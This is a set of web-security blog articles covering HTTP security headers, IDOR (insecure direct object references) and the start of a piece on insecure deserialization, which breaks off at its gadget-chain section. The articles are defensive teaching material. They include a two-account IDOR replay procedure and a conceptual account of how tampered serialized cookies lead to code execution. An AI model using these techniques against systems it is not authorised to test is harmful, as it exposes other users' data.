| `Content-Security-Policy` | Controls which origins the browser may load script, style, images, frames, and other content from | `default-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'` | Cross-site scripting (XSS), data injection, clickjacking |
| `Strict-Transport-Security` | Forces HTTPS for the whole domain for a set duration | `max-age=31536000; includeSubDomains` | SSL stripping, protocol downgrade, cookie theft on http |
| `X-Content-Type-Options` | Tells the browser not to guess (sniff) a response's content type | `nosniff` | MIME confusion attacks, drive-by execution of uploaded files |
| `X-Frame-Options` | Legacy control on whether the page may be framed | `DENY` | Clickjacking (superseded by CSP `frame-ancestors`) |
| `Referrer-Policy` | Controls how much of the URL is sent in the `Referer` header | `strict-origin-when-cross-origin` | Leakage of sensitive paths and tokens to third parties |
| `Permissions-Policy` | Allows or denies browser features (camera, geolocation, microphone) per origin | `geolocation=(), camera=(), microphone=()` | Abuse of powerful device APIs by injected or third-party code |
| `Cross-Origin-Opener-Policy` | Isolates your browsing context from cross-origin windows | `same-origin` | Cross-window attacks, Spectre-style side channels |
| `Cross-Origin-Embedder-Policy` | Requires cross-origin resources to explicitly opt in | `require-corp` | Cross-origin data leaks, enables cross-origin isolation |
| `Cross-Origin-Resource-Policy` | Limits which origins may embed a given resource | `same-origin` | Cross-origin resource theft and side-channel reads |
| `Cache-Control` | Controls whether and where a response may be cached | `no-store` (on sensitive pages) | Sensitive data left in browser or shared caches |
The first four rows carry most of the value for most sites. Content-Security-Policy and a framing control together blunt the two most common client-side attacks, HSTS locks the transport, and `nosniff` removes a whole class of content-type tricks.
## Content-Security-Policy in more depth
CSP is the header with the most leverage and the most ways to get wrong. It works by listing allowed sources per content type through directives.
| Directive | Purpose | Example |
|---|---|---|
| `default-src` | Fallback source list for content types not named explicitly | `default-src 'self'` |
| `script-src` | Where scripts may load from | `script-src 'self'` |
| `style-src` | Where stylesheets may load from | `style-src 'self'` |
| `img-src` | Where images may load from | `img-src 'self' data:` |
| `connect-src` | Endpoints for fetch, XHR, and WebSocket | `connect-src 'self'` |
| `object-src` | Sources for plugins, usually disabled | `object-src 'none'` |
| `frame-ancestors` | Who may frame this page, the modern clickjacking control | `frame-ancestors 'none'` |
| `base-uri` | Restricts the `base` tag to stop base-tag injection | `base-uri 'self'` |
The strongest CSPs avoid `'unsafe-inline'` and `'unsafe-eval'` for scripts, using nonces or hashes instead so that only your own vetted scripts run. That is what turns CSP from a checkbox into a real barrier against injected script. Roll it out in report-only mode first, watch the violation reports, then enforce.
Deploy a new Content-Security-Policy with the `Content-Security-Policy-Report-Only` header first. The browser reports what the policy would have blocked without breaking the page. Read those reports for a week, fix the legitimate sources, and only then switch to the enforcing header. Shipping a strict CSP straight to production is the fastest way to take your own site down.
## Headers, file uploads, and content types
The `X-Content-Type-Options: nosniff` header matters most where a site serves user-supplied files. Without it, a browser may sniff an uploaded file as HTML or script and execute it, turning a file upload into stored XSS. This is where header defense meets file-format defense: the content type you declare has to match what the file actually is, and the browser has to be told to trust that declaration.
The safe pattern is to serve untrusted uploads from a separate origin, with `nosniff`, a restrictive `Content-Security-Policy`, and a `Content-Disposition: attachment` header so the browser downloads rather than renders them. Which formats can be smuggled through a permissive content-type handler is catalogued in our File-Format Abuse Atlas, which maps formats like SVG and HTML that execute script when a browser is tricked into rendering them.
## The cross-origin isolation trio
The three `Cross-Origin-*` headers work together to put your page in an isolated context, which browsers require before granting access to high-precision timers and shared memory. More practically, they stop a range of cross-origin leaks:
- `Cross-Origin-Opener-Policy: same-origin` severs the link between your window and any cross-origin page that opened it or that you open.
- `Cross-Origin-Embedder-Policy: require-corp` forces every cross-origin resource to opt in, so nothing loads by accident.
- `Cross-Origin-Resource-Policy: same-origin` stops other sites embedding your resources and reading them through side channels.
Set these where you handle sensitive data or need cross-origin isolation. On simpler sites they are lower priority than the core four, but they cost little to add.
## How to use this reference
1. **Start with the core four.** Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, and a framing control give you the most protection per line of config.
2. **Roll out CSP in report-only mode.** Watch the violation reports, tune the sources, then enforce. Never ship a strict policy blind.
3. **Match headers to page sensitivity.** Authenticated and sensitive pages need `Cache-Control: no-store` so their content never lands in a shared cache.
4. **Test the deployed headers.** Use a scanner or the OWASP Secure Headers guidance to confirm what the server actually sends, since a header set in code but stripped by a proxy protects nothing.
5. **Treat headers as one layer.** They reduce the blast radius of application bugs; they do not replace fixing the bugs.
Security headers are among the cheapest defenses you can deploy: a few lines of server configuration that the browser then enforces on every request. Get the core set right, roll CSP out carefully, and you close off whole categories of client-side attack before your application code ever runs.
## Strict-Transport-Security in more depth
HSTS deserves a closer look because its value comes from a small mechanism with a large consequence, and because its main risk is operational rather than security. The header tells the browser to only ever contact this host over HTTPS for the duration set in `max-age`. Once a browser has seen it, a user who types the bare hostname, follows an `http` link, or is redirected to `http` never actually sends that plaintext request. The browser rewrites it to HTTPS internally before anything leaves the machine. That closes the small window an attacker on the network otherwise uses to intercept the first plaintext request and strip the connection down, the classic downgrade attack.
Three parts of the header matter. The `max-age` value, in seconds, sets how long the browser remembers the rule, and a year is a common production value. The `includeSubDomains` directive extends the rule to every subdomain, which is powerful and requires that every subdomain genuinely serve HTTPS, since any that cannot will become unreachable. The `preload` directive is a commitment of a different order. It asks to be baked into browsers' built-in preload lists, so that even a first-ever visit is forced to HTTPS with no prior header exchange. Preloading works, and it is hard to reverse quickly, so it is a decision to make only when you are confident every current and future subdomain will support HTTPS indefinitely.
Adding your domain to the HSTS preload list forces HTTPS for every visitor, including first-time ones, and removal propagates through browser releases slowly. Do not preload until every subdomain reliably serves HTTPS and you intend to keep it that way. Start with a long max-age and includeSubDomains, confirm nothing breaks over weeks, and only then consider preload. Treat it as effectively permanent.
## Reading a Content-Security-Policy directive by directive
A CSP is a list of directives, each naming the sources a given content type may load from, separated by semicolons. Reading one is a matter of taking each directive in turn and asking what it permits. The source keywords recur across directives, so learning them once unlocks the whole policy.
The common source expressions are worth knowing precisely. The keyword `'self'` means the page's own origin, scheme and host and port included. The keyword `'none'` forbids every source, used to switch a capability off entirely. A host source such as `https://cdn.example` allows that specific host. The `data:` scheme allows inline data URIs, which is convenient for images and dangerous for scripts. The keywords `'unsafe-inline'` and `'unsafe-eval'` re-enable inline scripts and dynamic evaluation, and each one substantially weakens the policy against injection. A nonce source, written as `'nonce-'` followed by a per-response random value, allows only the inline scripts that carry the matching nonce attribute, which is how a strict policy permits its own inline code without opening the door to injected code.
The strength of a CSP comes down to how it handles script. A policy that allows `'unsafe-inline'` for scripts gives an attacker who finds an injection point most of what they want, because injected inline script will run. A policy built on nonces or hashes, with no `'unsafe-inline'`, means an injected script has no valid nonce and is refused, so a cross-site scripting bug that would otherwise execute is reduced to a blocked violation report. This is the difference between a CSP that looks present in a scan and one that actually blunts an attack.
## How to detect missing or weak headers
Verifying headers is straightforward, and the checks are concrete enough to automate across a whole site. The goal is to confirm both that the header is present and that its value is strong, since a weak value can be worse than none by implying protection that is not there.
- Inspect the actual response headers a client receives, using browser developer tools or a command-line request, rather than trusting the application config, because a proxy or CDN can add, strip, or override headers in transit.
- Check for the presence of the core set on every significant response: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options`, and a framing control.
- Read the CSP value for weakening keywords. The presence of `'unsafe-inline'` or `'unsafe-eval'` in `script-src`, or a missing `object-src` and `base-uri`, means the policy is softer than it looks.
- Confirm `Strict-Transport-Security` has a substantial `max-age` and is served over HTTPS, since browsers ignore the header when it arrives over plain HTTP.
- Verify sensitive, authenticated responses carry `Cache-Control: no-store`, and check that error pages and API responses are covered too, since these are easy to miss.
- Watch for headers set correctly in one environment and missing in another, a common gap between local, staging, and production caused by differing proxy configurations.
A header defined in your application means nothing if a reverse proxy or CDN strips or rewrites it before the browser sees it. Always test the headers on the response that actually reaches a client, from outside your infrastructure. A quick command-line request that prints the response headers, run against the public URL, is the ground truth. The application source code is only the intent.
## Common mistakes and misconceptions
Several patterns turn header hardening into a false sense of safety.
"We set the headers in code, so we are covered." Not until you verify them on the wire. Proxies, load balancers, and CDNs routinely add or remove headers, and a duplicate or conflicting header can cause a browser to use a value you did not intend. The response the client receives is the only one that counts.
"A CSP is present, so XSS is handled." Only if the CSP is actually strict. A policy that allows `'unsafe-inline'` for scripts provides little protection against injection, because injected inline script still runs. The presence of the header is not the protection; the exclusion of unsafe sources is.
"X-XSS-Protection should be enabled." That legacy header controlled a browser feature that has been removed from modern browsers and could itself introduce issues. The modern answer to reflected script is a strong CSP. Setting the old header does nothing useful today and can be dropped.
"More headers is always better." Headers can conflict and can break functionality. A `Cross-Origin-Embedder-Policy` of `require-corp` will stop cross-origin resources that have not opted in from loading at all, which breaks pages that legitimately embed third-party content. Each header is a deliberate choice with a cost, not a box to tick.
"HSTS protects the first request." Only with preload. Without preload, the browser has to see the header once over HTTPS before it starts enforcing, so the very first contact can still be plaintext. Preload closes that gap, at the cost of a long-term commitment.
## How the header set evolved
The security header landscape has shifted as browsers standardised protections and retired improvised ones. Framing control began with `X-Frame-Options`, a single-purpose header against clickjacking, and has largely moved into CSP's `frame-ancestors` directive, which is more expressive and is the modern control while the older header remains for legacy browsers. Reflected-XSS filtering once lived in the `X-XSS-Protection` header, which browsers have since removed in favour of a strong CSP. Content-type sniffing defenses settled on the simple and durable `X-Content-Type-Options: nosniff`.
The most consequential arc is CSP itself, which grew from a blunt allow-list into a mechanism that supports nonces and hashes, letting sites run their own inline scripts safely while refusing injected ones. The cross-origin isolation headers arrived later, in response to side-channel attacks that made high-precision timers and shared memory risky, and they let a page opt into an isolated context where those capabilities are safe again. The direction across all of it is consistent: purpose-built, browser-enforced controls that express intent precisely, replacing the earlier generation of coarse toggles.
## Cookie security attributes belong in the same conversation
Response headers harden how the browser treats content, and the `Set-Cookie` header carries its own security attributes that round out the same defensive layer. They are worth setting alongside the core headers because a hardened page that ships a loosely scoped session cookie leaves the most valuable target exposed.
The `Secure` attribute tells the browser to send the cookie only over HTTPS, so a session cookie never leaks onto a plaintext connection. It pairs naturally with HSTS, which ensures the connection is HTTPS in the first place. The `HttpOnly` attribute hides the cookie from JavaScript, so that a cross-site scripting bug cannot read the session cookie through the document interface, which contains the damage of an injection that a CSP did not fully stop. The `SameSite` attribute controls whether the cookie is attached to cross-site requests, and setting it to `Lax` or `Strict` removes the automatic cross-site cookie flow that cross-site request forgery relies on, which is why it belongs in the same defensive picture as the response headers even though it is not one of them.
Setting these three on session cookies is close to free and closes gaps the response headers do not reach. A session cookie marked `Secure`, `HttpOnly`, and `SameSite=Lax` resists plaintext leakage, script theft, and a large share of cross-site request forgery at once. Treat cookie attributes as part of the same hardening pass, since the browser enforces them with the same reliability it enforces the headers, and the session cookie is usually the single most sensitive value a page handles.
## Frequently asked questions
**Which headers should I set first?**
Start with the core four: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options: nosniff`, and a framing control (`X-Frame-Options: DENY` or CSP `frame-ancestors 'none'`). They deliver the most protection per line of configuration and cover the most common client-side attacks.
**Is X-Frame-Options still needed if I use CSP frame-ancestors?**
The `frame-ancestors` directive is the modern control and supersedes `X-Frame-Options`. Keeping the older header as well does no harm and covers legacy browsers that do not honour `frame-ancestors`, so setting both is a reasonable belt-and-braces choice.
**Why does my strict CSP break the site?**
Almost always because the page relies on inline scripts or styles, or on third-party sources the policy does not list. Deploy with `Content-Security-Policy-Report-Only` first, read the violation reports to see what the policy would block, add the legitimate sources or move to nonces, and only then switch to the enforcing header.
**Does setting security headers replace fixing vulnerabilities?**
No. Headers are defense in depth. A strong CSP limits the damage of a cross-site scripting bug, but the bug should still be fixed. Headers reduce blast radius; they do not remove the underlying flaw.
**Should I enable X-XSS-Protection?**
No. The header controlled a browser filter that modern browsers have removed, and it could introduce its own problems. Rely on a strong Content-Security-Policy for protection against reflected script instead.
**What does X-Content-Type-Options: nosniff actually prevent?**
It tells the browser not to guess a response's content type and to trust the declared `Content-Type`. Without it, a browser may sniff an uploaded or user-supplied file as HTML or script and execute it, turning a file upload into stored cross-site scripting. It matters most where a site serves untrusted files.
**When do I need the cross-origin isolation headers?**
Set `Cross-Origin-Opener-Policy`, `Cross-Origin-Embedder-Policy`, and `Cross-Origin-Resource-Policy` where you handle sensitive data or need cross-origin isolation for features like high-precision timers and shared memory. On simpler sites they are lower priority than the core four, and `require-corp` in particular can break pages that embed third-party resources, so test before enforcing.
## Related guides
- [Content Security Policy Explained](/content-security-policy-explained)
- [HSTS Explained](/hsts-explained)
- [Clickjacking Explained](/clickjacking-explained)
- [CORS Explained](/cors-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP Secure Headers Project (OWASP): https://owasp.org/www-project-secure-headers/
- OWASP Top 10 (OWASP): https://owasp.org/www-project-top-ten/
- NIST SP 800-95: Guide to Secure Web Services (NIST): https://csrc.nist.gov/pubs/sp/800/95/final
---
## IDOR Explained: Insecure Direct Object References
> What IDOR is, how missing authorization on object IDs leaks or changes other users' data, why guessable IDs are not the real cause, and how to defend.
- URL: https://blog.pwnsy.com/idor-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: beginner
- Category: web-security
- Tags: idor, web-security, access-control, owasp, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- IDOR is a broken access control bug where an app uses a user-supplied object ID to fetch data without checking that the user is allowed to see that object.
- The classic example is changing an ID in a URL from your own record to someone else's and getting their data back.
- The root cause is a missing authorization check, not a guessable ID. Random IDs hide the problem; they do not fix it.
- The fix is to verify on every request that the current user is permitted to act on the specific object, enforced server-side on read and write alike.
### Key Takeaways
- IDOR sits under Broken Access Control, the category that tops the OWASP Top 10, because the checks are easy to forget and trivial to exploit.
- Any request parameter that names an object, a URL path segment, a query value, or a body field, is a place an attacker will try substituting another object's identifier.
- Unguessable identifiers reduce casual discovery but leak through referrers, logs, and shared links, so they are not an access control.
- Write-side IDOR is often worse than read-side, because it lets an attacker modify or delete records they do not own.
- The durable defense is a per-request authorization check that ties the object to the authenticated user, applied consistently across every endpoint.
Some of the most damaging web bugs are also the simplest to trigger. Insecure direct object reference, universally shortened to IDOR, is the standout example. Exploiting one can be as easy as editing a number in a URL. No special tools, no clever payload, just asking the server for a record that belongs to someone else and getting it.
IDOR is a kind of broken access control. The application exposes a reference to an internal object, an account, an invoice, a message, a file, and lets the user hand that reference back to fetch the object. The bug is that the application fetches whatever reference it is given without first checking whether this user is allowed to have it.
## A worked example
Picture an app where you view your own invoice at a URL like this:
```
https://shop.example/invoices/1043
```
The number `1043` is a direct object reference. It points straight at a row in the invoices table. You are allowed to see it because it is yours. Now you change the number:
```
https://shop.example/invoices/1044
```
If the application returns invoice 1044, and 1044 belongs to a different customer, that is IDOR. The server looked up the record by the ID in the URL and sent it back. It never asked the question that mattered: does the person making this request own invoice 1044?
That missing question is the entire vulnerability. Every other detail, how the ID is formatted, where it appears, whether it is a number or a string, is secondary.
It helps to name what a correct version would do. Before returning invoice 1044, the server should establish who is making the request, look up who owns invoice 1044, and confirm those are the same party or that the requester holds a role that grants access. Only then does it send the data. The vulnerable version skips straight from the ID to the record, and the skipped step is the whole of the security. Notice that this has nothing to do with authentication. The attacker in the example is logged in as a perfectly valid user. Authentication proves who you are; authorization decides what you may touch. IDOR is a failure of the second, not the first, which is why a fully logged-in, entirely legitimate account can still walk off with another user's data.
## Why guessable IDs are a red herring
A common first reaction is to blame the sequential number. If the IDs were random and long, an attacker could not guess the next one, so surely the bug goes away. It does not. It only gets quieter.
Unpredictable identifiers make casual discovery harder, and that has some value. They do not make the reference secret. Object IDs leak constantly through browser history, server logs, referrer headers, analytics tools, shared links, and support tickets. An attacker who obtains one valid identifier for another user, by any of these routes, walks straight through an app that relies on unguessability. A random ID is a speed bump, and it is being mistaken for a locked door.
Switching from sequential IDs to random ones changes how an attacker discovers a reference, not whether the app will honor it. If the server hands over any object whose ID is presented, the only real fix is to check ownership on every request. Treat unguessable IDs as a small hardening measure layered on top of a real access check, never as the check itself.
## Read-side and write-side
IDOR is often described as a data-leak bug, and reading other users' records is the familiar version. The write side can be worse.
| Variant | What the attacker does | Typical impact |
|---|---|---|
| Read-side IDOR | Fetches another user's object by substituting its ID | Confidential data disclosure |
| Write-side IDOR | Updates another user's object via its ID | Tampering with records the attacker does not own |
| Delete-side IDOR | Removes another user's object | Destruction or denial of service |
| Function-level gaps | Reaches an action the role should not have | Privilege escalation |
If an endpoint that edits a profile, changes an email, or cancels an order trusts an ID in the request without checking ownership, an attacker can act on records that are not theirs. Reviewing only the read paths and assuming the write paths are safe is a frequent and costly mistake.
## Where the IDs live
An attacker will look for object references everywhere the app accepts input, not only in the visible URL.
- **Path segments**, like the invoice number in the example.
- **Query parameters**, such as an `id` or `account` value.
- **Request body fields** in JSON or form submissions, especially on APIs.
- **Headers and cookies** that name a tenant, an organization, or a user.
- **Indirect references** in file names, export links, and download tokens.
Any of these is a candidate for substitution. A thorough review walks every endpoint and asks, for each object reference it accepts, whether the code confirms the caller is entitled to that specific object. This maps to the Broken Access Control category at the top of the [OWASP Top 10](/owasp-top-10-explained).
## How IDOR gets missed
If the fix is simply an ownership check, it is fair to ask why IDOR remains one of the most reported bugs in the wild. The answer is that the check is easy to write once and easy to forget everywhere else.
Applications grow endpoint by endpoint. A developer adds a new route to fetch a resource, focuses on getting the data back correctly, and the authorization step, being invisible in the response, is the part most easily left out. The endpoint works in every test, because the tester is logged in as the owner of the object they are fetching. Nothing looks wrong until someone requests an object they do not own, and by then the code has shipped.
The problem compounds on APIs. A single application may expose the same object through several endpoints: a web route, a mobile API, an admin panel, a bulk export. Each is a separate place the ownership check must be repeated, and it only takes one that forgot. Attackers know this and specifically hunt the less-trodden endpoints, the export links and the mobile backends, where the check is most often absent.
Framework defaults do not help here. Unlike injection, where prepared statements make the safe path the easy path, most frameworks do not enforce object-level authorization for you. The safe behavior is something the developer must add on purpose, on every route, which is exactly the kind of repetitive discipline humans are bad at sustaining. That is why centralizing the check matters so much, and why testing with a second account belongs in the pipeline rather than in someone's memory.
## How to actually defend against IDOR
The defense is conceptually small and operationally demanding: check authorization on every request, for every object, on both reads and writes.
1. **Enforce a per-request ownership check.** Before returning or modifying an object, verify that the authenticated user is permitted to act on that exact object. Scope the lookup to the user where you can, for example querying for an invoice that belongs to the current user rather than fetching by ID and checking afterward.
2. **Deny by default.** Make the absence of an explicit permission mean no access. An endpoint that forgets to check should fail closed, not open.
3. **Centralize the authorization logic.** Put the check in a shared layer, middleware, a policy module, a query scope, so individual endpoints cannot silently skip it. Scattered ad hoc checks are how one forgotten endpoint becomes a breach.
4. **Cover writes and deletes, not just reads.** Apply the same ownership check to every state-changing action. These are the highest-impact paths.
5. **Use indirect references where it fits.** Mapping the user's view to per-session identifiers, so a user only ever sees references valid for them, adds a layer. It supplements the authorization check; it does not replace it.
6. **Test with two accounts.** The reliable way to find IDOR is to take a valid request from one user and replay it as another. Build this into review and automated testing so regressions surface early.
For every endpoint that touches an object by ID, answer one question in the code itself: is the current user allowed to act on this specific object. If that check is not present and enforced server-side, the endpoint is vulnerable no matter how the ID is formatted. Make the check a required, centralized step and IDOR stops being possible to forget.
## Detection signals
IDOR is found more by testing than by watching traffic, and once you know the shape it also leaves traces in logs. The concrete signals below are where teams surface it.
- **Sequential identifier walking.** One authenticated session requesting a run of object IDs it has no prior relationship with, especially incrementing or decrementing values, is the classic probe. A user fetching invoices, messages, or profiles across a range of IDs in quick succession rarely reflects normal use.
- **Access to objects with no prior link to the account.** Telemetry that ties each object access to the owning account can flag a request where the requester and the object owner differ. A successful IDOR is exactly this: a valid session touching an object it does not own.
- **A spike in authorization-relevant errors, or the absence of them.** On an app with proper checks, cross-account requests produce a wave of access-denied responses, which is itself a signal of probing. On a vulnerable app the same requests succeed silently, so the tell shifts to unusual access patterns rather than error bursts.
- **Enumeration across less-trodden endpoints.** Requests hitting export links, mobile API routes, and admin-style endpoints with substituted identifiers, particularly from a session that does not normally use them, point at an attacker hunting the endpoints where the check is most often missing.
- **Object references appearing from unexpected sources.** An identifier valid for one user showing up in another user's requests can indicate a reference that leaked through a shared link, a referrer header, or a log, followed by an attacker replaying it.
The most reliable discovery method remains active testing rather than passive monitoring, because a vulnerable endpoint answers a cross-account request cleanly and leaves little to alert on. That is the argument for building two-account replay into the test pipeline, covered in the defense list below.
## A step-by-step test for IDOR
Finding IDOR is a mechanical process that any review can follow. The steps below turn the two-account idea into a repeatable check.
1. **Create two separate accounts.** Call them the victim and the attacker. Give the victim some data: an invoice, a message, a profile, a file.
2. **Capture a request as the victim.** Log in as the victim and perform an action that touches one of their objects, then record the full request, including the object identifier, the path, and any body fields.
3. **Replay it as the attacker.** Log in as the attacker, take the victim's captured request, and send it using the attacker's session credentials while keeping the victim's object identifier.
4. **Read the result carefully.** If the attacker's session returns the victim's object, the endpoint is vulnerable. If it returns an access-denied response or the attacker's own data, the check is holding for that path.
5. **Repeat across every variant of the object.** Try the read route, the write route, the delete route, the export link, and the mobile or admin API for the same object. Each is a separate check, and a single passing route does not vouch for the others.
This procedure scales into automation. Recording a suite of authenticated requests from one account and replaying them under another, then asserting that each is denied, turns IDOR regression testing into something continuous rather than a one-time manual pass.
## How IDOR compares to related access-control bugs
IDOR sits inside the broad category of broken access control, and distinguishing it from its neighbors sharpens where each fix belongs.
| Bug | What is missing | Attacker action | Where the fix lives |
|---|---|---|---|
| IDOR (object-level) | A per-object ownership check | Substitutes another user's object identifier | Verify the caller owns the specific object, on every request |
| Function-level access control gap | A per-action role check | Reaches an action their role should not have | Enforce role requirements on every privileged endpoint |
| Privilege escalation | Correct enforcement of role boundaries | Gains rights beyond their assigned role | Constrain roles and validate every elevation |
| Mass assignment | A field-level write allowlist | Sets object fields they should not control | Bind only permitted fields from input |
The closest relatives are function-level gaps and mass assignment. A function-level gap is about reaching an action the role should not perform, such as an ordinary user calling an admin-only route, while IDOR is about reaching a specific object the user should not touch. Mass assignment overlaps on the write side: where IDOR lets an attacker act on an object they do not own, mass assignment lets an attacker set fields on an object they may legitimately touch, such as flipping their own role field during a profile update. The two often travel together on the same endpoints, and both come down to the server trusting input it should have constrained.
## Common misconceptions
**Random identifiers fix IDOR.** Unpredictable identifiers make casual discovery harder and change nothing about whether the server honors a presented reference. Object IDs leak through history, logs, referrers, and shared links, so an attacker who obtains one walks straight through an app that relies on unguessability. The fix is an ownership check, and randomness is a small hardening measure on top of it.
**Authentication covers it.** IDOR is exploited by a fully authenticated, entirely legitimate user acting on objects that are not theirs. Authentication proves identity. Authorization decides what that identity may touch, and IDOR is a failure of the second, which no amount of login strength addresses.
**Only read access is at risk.** The write and delete sides are frequently higher impact, because they let an attacker modify or destroy records they do not own. A review that checks read paths and assumes the write paths are safe leaves the more damaging routes open.
**The framework handles it.** Unlike injection, where safe defaults make the secure path the easy one, most frameworks do not enforce object-level authorization automatically. The check is something a developer must add deliberately on every route, which is precisely why it is so often forgotten on the less-trodden endpoints.
## Frequently asked questions
**What does IDOR stand for and what is it?**
IDOR stands for insecure direct object reference. It is a broken access control bug where an application uses a user-supplied identifier to fetch or change an object without first confirming the requester is allowed to act on that specific object. The classic form is editing an identifier in a URL and receiving another user's data.
**Is IDOR the same as broken access control?**
IDOR is one specific type of broken access control, the category that tops the OWASP Top 10. Broken access control is the broad family of failures to enforce what a user may do or reach, and IDOR is the object-level case where a missing ownership check lets a user touch objects that are not theirs.
**Why are unguessable IDs not a real fix?**
Because they change how an attacker discovers a reference without changing whether the server honors it. Identifiers leak constantly through browser history, server logs, referrer headers, analytics, and shared links. An attacker who obtains one valid identifier by any of these routes walks straight through an app that trusts unguessability, so the reference has to be checked on every request. Making it hard to guess does not substitute for that check.
**Is write-side IDOR worse than read-side?**
Often, yes. Read-side IDOR discloses data, which is serious. Write-side and delete-side IDOR let an attacker modify or destroy records they do not own, which can mean tampering, fraud, or denial of service. Apply the ownership check to every state-changing action, since those are the highest-impact paths.
**How do I test my own application for IDOR?**
Create two accounts, capture a request that touches an object as the first user, then replay it with the second user's session while keeping the first user's object identifier. If the second account receives the first account's object, the endpoint is vulnerable. Repeat across read, write, delete, export, and API variants of the same object.
**Where do developers most often forget the check?**
On the less-trodden endpoints: export links, bulk downloads, mobile API backends, and admin panels that expose the same object through a different route. A single object is frequently reachable through several endpoints, and it only takes one that omits the ownership check, which is why centralizing the check matters.
**Does centralizing authorization actually help?**
Yes. Putting the ownership check in shared middleware, a policy module, or a query scope means individual endpoints cannot silently skip it. Scattered ad hoc checks are how one forgotten route becomes a breach, so a central, deny-by-default layer that every request passes through is the durable structural fix.
## How IDOR stays common
IDOR has been a top-reported class for as long as web applications have exposed object identifiers, and its persistence has a structural explanation. The industry solved injection largely by making the safe path the default: parameterized queries and templating engines mean a developer following the ordinary pattern gets safety for free. Object-level authorization never got that treatment. Most frameworks route a request to a handler and hand it the identifier without any built-in notion of whether the caller owns the thing that identifier names. The safe behavior is an explicit step the developer must remember on every route.
The growth of APIs widened the gap. A single object is now commonly exposed through a web route, a mobile backend, a public API, an admin panel, and a bulk export, each written at a different time by different people. The ownership check has to be present on all of them, and attackers specifically probe the ones most likely to have missed it. Modern practice has responded by pushing the check into shared authorization layers and policy engines, and by treating two-account replay testing as a standard part of the pipeline. The bug remains common because the discipline it requires is repetitive and invisible in a passing test, which is exactly the kind of work that slips.
IDOR endures because the exploit is trivial and the defense is a discipline. There is no exotic payload to filter and no library that patches it for you. There is only the question of whether your code checks, on every single request, that this user may touch this object. Make that check mandatory and central, apply it to reads and writes alike, and treat unguessable IDs as the minor hardening they are. To see how access-control flaws move from disclosure to real-world use, cross-reference our Exploit Intelligence dashboard.
## Related guides
- [Mass Assignment Explained](/mass-assignment-explained)
- [API Abuse Explained](/api-abuse-explained)
- [Least Privilege Explained](/least-privilege-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: Insecure Direct Object Reference Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html
- OWASP Top 10: A01 Broken Access Control (OWASP): https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- PortSwigger Web Security Academy: Insecure direct object references (PortSwigger): https://portswigger.net/web-security/access-control/idor
---
## Insecure Deserialization: Object Injection & Gadget Chains
> Why deserializing untrusted data is dangerous, how gadget chains turn it into remote code execution, and safer serialization alternatives.
- URL: https://blog.pwnsy.com/insecure-deserialization-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: advanced
- Category: web-security
- Tags: deserialization, web-security, owasp, rce, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Deserialization rebuilds an object from a byte stream. When that stream is attacker-controlled, the attacker influences what objects come into existence and what runs during reconstruction.
- The severe outcome is remote code execution via gadget chains: sequences of existing methods in the application's own libraries, strung together by a crafted object graph.
- Native binary serialization formats are the most dangerous because they can encode arbitrary object types and trigger code during reconstruction.
- The reliable defense is to never deserialize untrusted data with a format that can instantiate arbitrary types; prefer simple data formats like JSON with explicit schemas.
### Key Takeaways
- Serialization converts an object to bytes for storage or transport; deserialization reverses it, and the danger is that reconstruction can execute logic the attacker chose.
- A gadget chain reuses methods already present in the application's dependencies, so the attacker writes no new code on the server, they only supply the object graph that triggers the chain.
- Signs of exposure include serialized blobs in cookies, hidden fields, tokens, caches, and message queues that a client can modify.
- Integrity checks like signing serialized payloads help, but the durable fix is to avoid deserializing untrusted native-object formats at all.
- Allowlisting permitted classes during deserialization narrows the attack surface when a format must be used, but it is harder to get right than switching formats.
Applications constantly turn objects into bytes and back again: to store a session, to pass a message between services, to cache a result, to send a token to a client. The conversion out is serialization, the conversion back is deserialization, and the second half is where a specific and severe class of vulnerability lives. When a program deserializes data an attacker controls, the attacker gains influence over what objects the program builds and what code runs while building them.
This is one of the harder web vulnerabilities to reason about, because the payload rarely looks like an attack. It looks like a normal serialized object. The damage happens during reconstruction, deep inside library code the developer never wrote and rarely reads. Done right by an attacker, it produces remote code execution from nothing more than a modified cookie.
## What serialization actually does
Serialization flattens a live object, its type, its fields, and their values, into a stream of bytes that can be stored or sent. Deserialization reads that stream and rebuilds an equivalent object in memory. The critical detail is that many serialization formats encode the object's type, and the deserializer will instantiate whatever type the stream names, then populate it and often run initialization or cleanup logic as part of the process.
That last part is the whole problem. If reconstruction can create arbitrary object types and trigger their methods, and the attacker controls the stream, then the attacker controls which objects get created and which methods fire. They do not need to inject new code. They compose existing code into a harmful sequence.
## Why untrusted serialized data is dangerous
Consider a session stored client-side as a serialized object inside a cookie. The server deserializes it on every request to restore the session. If that cookie is not integrity-protected, the attacker rewrites it. A naive attack just changes a field, like flipping a `role` value from `user` to `admin`. That is the mild case.
The severe case exploits the reconstruction machinery itself. Native serialization formats often invoke special methods automatically during or after deserialization: constructors, initializers, and cleanup hooks defined on the object's class. The attacker supplies a stream describing an object of some class whose reconstruction hook does something useful to them, and it runs the moment the server deserializes.
| Impact | How it arises |
|---|---|
| Tampering / privilege escalation | Modifying fields of a deserialized object that the server trusts |
| Denial of service | Objects whose construction consumes huge memory or CPU |
| Server-side request forgery | An object whose reconstruction opens a network connection to an attacker-chosen host |
| Remote code execution | A gadget chain that reaches a method executing a command |
## Gadget chains
